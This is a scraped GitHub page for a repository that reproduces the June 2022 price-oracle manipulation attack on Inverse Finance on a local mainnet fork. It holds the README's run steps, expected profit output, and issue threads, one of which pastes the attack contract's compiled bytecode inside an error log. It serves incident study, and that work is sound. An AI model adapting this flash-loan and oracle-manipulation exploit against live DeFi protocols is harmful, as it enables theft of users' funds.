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Oracle Manipulation Attack on Inverse Finance

Home Page: https://medium.com/coinmonks/how-the-oracle-manipulation-attack-happened-to-inverse-finance-cb95e5343034

License: MIT License

Shell 0.24% Solidity 73.26% TypeScript 26.50%

solidity blockchain ethereum aave ethersjs hardhat typescript

inverse-finance-exploit's Introduction

Inverse Finance Exploit

This repo reproduces the oracle manipulation attack happened to Inverse Finance on June 16, 2022.

Transaction detail: https://etherscan.io/tx/0x958236266991bc3fe3b77feaacea120f172c0708ad01c7a715b255f218f9313c

Installation and Setup

1. Install Node.js & yarn, if you haven't already.

2. Clone This Repo

Run the following command.

git clone https://github.com/yuichiroaoki/inverse-finance-exploit.git

Demo

1. Setup Environment Variables

You'll need an ALCHEMY_MAINNET_RPC_URL environment variable. You can get one from Alchemy website for free.

Then, you can create a .env file with the following.

ALCHEMY_MAINNET_RPC_URL='<your-own-alchemy-mainnet-rpc-url>'

2. Install Dependencies

Run the following command.

yarn install

3. Compile Smart Contracts

Run the following command.

yarn compile

4. Simulate the Attack on the Ethereum Mainnet Fork

Run the following command.

yarn attack

Expected Outputs

$ yarn attack
latest answer 979943357748941122174
latest answer 2831510989152831182521
Earned:  53.24504921 WBTC
Earned:  99976.294967 USDC
Transaction Fee:  0.08769064026344821 ETH

References

https://blocksecteam.medium.com/price-oracle-manipulation-attack-on-inverse-finance-a5544218ea91

https://tools.blocksec.com/tx/eth/0x958236266991bc3fe3b77feaacea120f172c0708ad01c7a715b255f218f9313c

https://twitter.com/peckshield/status/1537382891230883841

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inverse-finance-exploit's Issues

dotenv error

hello. I am running this example and when i run npx hardhat node it tells me "cannot find module 'dotenv', i see .env but this stumps me".

contract error

Hello, I run yarn attack and see this error )below). What is mean? ETH for Gas is missing?

PS C:\F_BOT\fanance\inverse-finance-exploit> yarn attack npm WARN config global --global, --localare deprecated. Use--location=global instead. × Help us improve Hardhat with anonymous crash reports & basic usage data? (Y/n) · y Error: cannot estimate gas; transaction may fail or may require manual gas limit [ See: https://links.ethers.org/v5-errors-UNPREDICTABLE_GAS_LIMIT ] (reason="Transaction reverted: function call to a non-contract account", method="estimateGas", transaction={"from":"0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266","data":"0x60c06040523480156200001157600080fd5b5060405162001985380380620019858339810160408190526200003491620000e0565b80806001600160a01b03166080816001600160a01b031660601b81525050806001600160a01b0316630261bf8b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156200008c57600080fd5b505afa158015620000a1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620000c79190620000e0565b60601b6001600160601b03191660a052506200011f9050565b600060208284031215620000f2578081fd5b8151620000ff8162000106565b9392505050565b6001600160a01b03811681146200011c57600080fd5b50565b60805160601c60a05160601c61182e620001576000396000818160dd0152818161020101526106be015260006061015261182e6000f3fe608060405234801561001057600080fd5b50600436106100575760003560e01c80630542975c1461005c57806335bdec5d146100a0578063920f5c84146100b5578063b4dcfc77146100d8578063c7e42b1b146100ff575b600080fd5b6100837f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020015b60405180910390f35b6100b36100ae366004611282565b610112565b005b6100c86100c3366004611169565b610274565b6040519015158152602001610097565b6100837f000000000000000000000000000000000000000000000000000000000000000081565b6100b361010d36600461114d565b61073b565b6000604051806101200160405280336001600160a01b0316815260200183606001516001600160a01b03168152602001836080015181526020018360a001516001600160a01b031681526020018360c001516001600160a01b031681526020018360e001516001600160a01b031681526020018361010001516001600160a01b031681526020018361012001516001600160a01b031681526020018361014001516001600160a01b03168152506040516020016101cf919061162c565b60408051601f19818403018152828252845160208601519286015163ab9c4b5d60e01b85529194506001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169363ab9c4b5d9361023e9330939284908990600090600401611541565b600060405180830381600087803b15801561025857600080fd5b505af115801561026c573d6000803e3d6000fd5b505050505050565b6000808280602001905181019061028b91906113be565b905060008a8a60008181106102b057634e487b7160e01b600052603260045260246000fd5b90506020020160208101906102c5919061114d565b6040516370a0823160e01b81523060048201529091506001600160a01b038216906370a082319060240160206040518083038186803b15801561030757600080fd5b505afa15801561031b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061033f919061146c565b8989600081811061036057634e487b7160e01b600052603260045260246000fd5b9050602002013511156103ac5760405162461bcd60e51b815260206004820152600f60248201526e496e76616c69642062616c616e636560881b60448201526064015b60405180910390fd5b6103de82828b8b60008181106103d257634e487b7160e01b600052603260045260246000fd5b905060200201356107eb565b6103eb8260a0015161084d565b5060c08201516040516370a0823160e01b81523060048201526104799183916001600160a01b038316906370a08231906024015b60206040518083038186803b15801561043757600080fd5b505afa15801561044b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061046f919061146c565b85602001516108f6565b6104868260a0015161084d565b506104958261010001516109f4565b60c08201516040516370a0823160e01b81523060048201526104cd919083906001600160a01b038316906370a082319060240161041f565b61010082015160e08301516040516370a0823160e01b815230600482015261056f9291906001600160a01b038316906370a082319060240160206040518083038186803b15801561051d57600080fd5b505afa158015610531573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610555919061146c565b73aa5a67c256e27a5d80712c51971408db3370927d6108f6565b61057c8260e00151610aa8565b6105968260c00151826509184e72a00085602001516108f6565b60006105f9888860008181106105bc57634e487b7160e01b600052603260045260246000fd5b905060200201358b8b60008181106105e457634e487b7160e01b600052603260045260246000fd5b90506020020135610c0990919063ffffffff16565b6040516370a0823160e01b815230600482015290915081906001600160a01b038416906370a082319060240160206040518083038186803b15801561063d57600080fd5b505afa158015610651573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610675919061146c565b10156106a75760405162461bcd60e51b81526020600482015260016024820152603760f91b60448201526064016103a3565b60405163095ea7b360e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000811660048301526024820183905283169063095ea7b390604401600060405180830381600087803b15801561071157600080fd5b505af1158015610725573d6000803e3d6000fd5b5060019f9e505050505050505050505050505050565b6040516370a0823160e01b81523060048201526000906001600160a01b038316906370a082319060240160206040518083038186803b15801561077d57600080fd5b505afa158015610791573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b5919061146c565b60405163a9059cbb60e01b8152336004820152602481018290529091506001600160a01b0383169063a9059cbb9060440161023e565b6107ff836020015183838660400151610c1c565b600061081384606001518560800151610cc8565b90506000731429a930ec3bcf5aa32ef298ccc5ab09836ef587905061083d85608001518383610e89565b61084681610f18565b5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error={"stackTrace":[{"type":14,"sourceReference":{"function":"constructor","contract":"Attack","sourceName":"contracts/aave/FlashLoanReceiverBase.sol","sourceContent":"// This is a file copied from https://github.com/aave/aave-v3-core/blob/e46341caf815edc268893f4f9398035f242375d9/contracts/flashloan/base/FlashLoanSimpleReceiverBase.sol\r\n// SPDX-License-Identifier: AGPL-3.0\r\npragma solidity 0.8.4;\r\n\r\n// import \"@openzeppelin/contracts/interfaces/IERC20.sol\";\r\nimport {IFlashLoanReceiver} from \"./IFlashLoanReceiver.sol\";\r\nimport {ILendingPoolAddressesProvider} from \"./ILendingPoolAddressesProvider.sol\";\r\nimport {ILendingPool} from \"./ILendingPool.sol\";\r\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\";\r\n\r\nabstract contract FlashLoanReceiverBase is IFlashLoanReceiver {\r\n using SafeMath for uint256;\r\n\r\n ILendingPoolAddressesProvider public immutable override ADDRESSES_PROVIDER;\r\n ILendingPool public immutable override LENDING_POOL;\r\n\r\n constructor(ILendingPoolAddressesProvider provider) {\r\n ADDRESSES_PROVIDER = provider;\r\n LENDING_POOL = ILendingPool(provider.getLendingPool());\r\n }\r\n}\r\n","line":19,"range":[928,953]}}],"data":"0x"}, code=UNPREDICTABLE_GAS_LIMIT, version=providers/5.6.8) at Logger.makeError (C:\F_BOT\fanance\inverse-finance-exploit\node_modules\@ethersproject\logger\src.ts\index.ts:261:28) at Logger.throwError (C:\F_BOT\fanance\inverse-finance-exploit\node_modules\@ethersproject\logger\src.ts\index.ts:273:20) at checkError (C:\F_BOT\fanance\inverse-finance-exploit\node_modules\@ethersproject\providers\src.ts\json-rpc-provider.ts:78:20) at EthersProviderWrapper.<anonymous> (C:\F_BOT\fanance\inverse-finance-exploit\node_modules\@ethersproject\providers\src.ts\json-rpc-provider.ts:603:20) at step (C:\F_BOT\fanance\inverse-finance-exploit\node_modules\@ethersproject\providers\lib\json-rpc-provider.js:48:23) at Object.throw (C:\F_BOT\fanance\inverse-finance-exploit\node_modules\@ethersproject\providers\lib\json-rpc-provider.js:29:53) at rejected (C:\F_BOT\fanance\inverse-finance-exploit\node_modules\@ethersproject\providers\lib\json-rpc-provider.js:21:65) at processTicksAndRejections (node:internal/process/task_queues:96:5) { reason: 'Transaction reverted: function call to a non-contract account', code: 'UNPREDICTABLE_GAS_LIMIT', method: 'estimateGas', transaction: { from: '0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266', data: 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8'... 3132 more characters, accessList: null }, error: Error: Transaction reverted: function call to a non-contract account at Attack.constructor (contracts/aave/FlashLoanReceiverBase.sol:19) at processTicksAndRejections (node:internal/process/task_queues:96:5) at async EthModule._estimateGasAction (C:\F_BOT\fanance\inverse-finance-exploit\node_modules\hardhat\src\internal\hardhat-network\provider\modules\eth.ts:429:7) at async HardhatNetworkProvider.request (C:\F_BOT\fanance\inverse-finance-exploit\node_modules\hardhat\src\internal\hardhat-network\provider\provider.ts:118:18) at async EthersProviderWrapper.send (C:\F_BOT\fanance\inverse-finance-exploit\node_modules\@nomiclabs\hardhat-ethers\src\internal\ethers-provider-wrapper.ts:13:20)

TypeError [ERR_INVALID_URL]: Invalid URL

inverse-finance-exploit % **yarn attack**
TypeError [ERR_INVALID_URL]: Invalid URL
    at new NodeError (node:internal/errors:387:5)
    at URL.onParseError (node:internal/url:564:9)
    at new URL (node:internal/url:640:5)
    at new HttpProvider (/Users/docker/Desktop/test1/inverse-finance-exploit/node_modules/hardhat/src/internal/core/providers/http.ts:51:17)
    at makeForkClient (/Users/docker/Desktop/test1/inverse-finance-exploit/node_modules/hardhat/src/internal/hardhat-network/provider/utils/makeForkClient.ts:34:20)
    at Function.create (/Users/docker/Desktop/test1/inverse-finance-exploit/node_modules/hardhat/src/internal/hardhat-network/provider/node.ts:161:31)
    at HardhatNetworkProvider._init (/Users/docker/Desktop/test1/inverse-finance-exploit/node_modules/hardhat/src/internal/hardhat-network/provider/provider.ts:251:46)
    at async HardhatNetworkProvider._send (/Users/docker/Desktop/test1/inverse-finance-exploit/node_modules/hardhat/src/internal/hardhat-network/provider/provider.ts:192:5)
    at async HardhatNetworkProvider.request (/Users/docker/Desktop/test1/inverse-finance-exploit/node_modules/hardhat/src/internal/hardhat-network/provider/provider.ts:118:18)
    at async EthersProviderWrapper.send (/Users/docker/Desktop/test1/inverse-finance-exploit/node_modules/@nomiclabs/hardhat-ethers/src/internal/ethers-provider-wrapper.ts:13:20) {
  input: 'ALCHEMY_API_KEY(DELETED)',
  code: 'ERR_INVALID_URL'
}

some files is missing

Probably some files is missing

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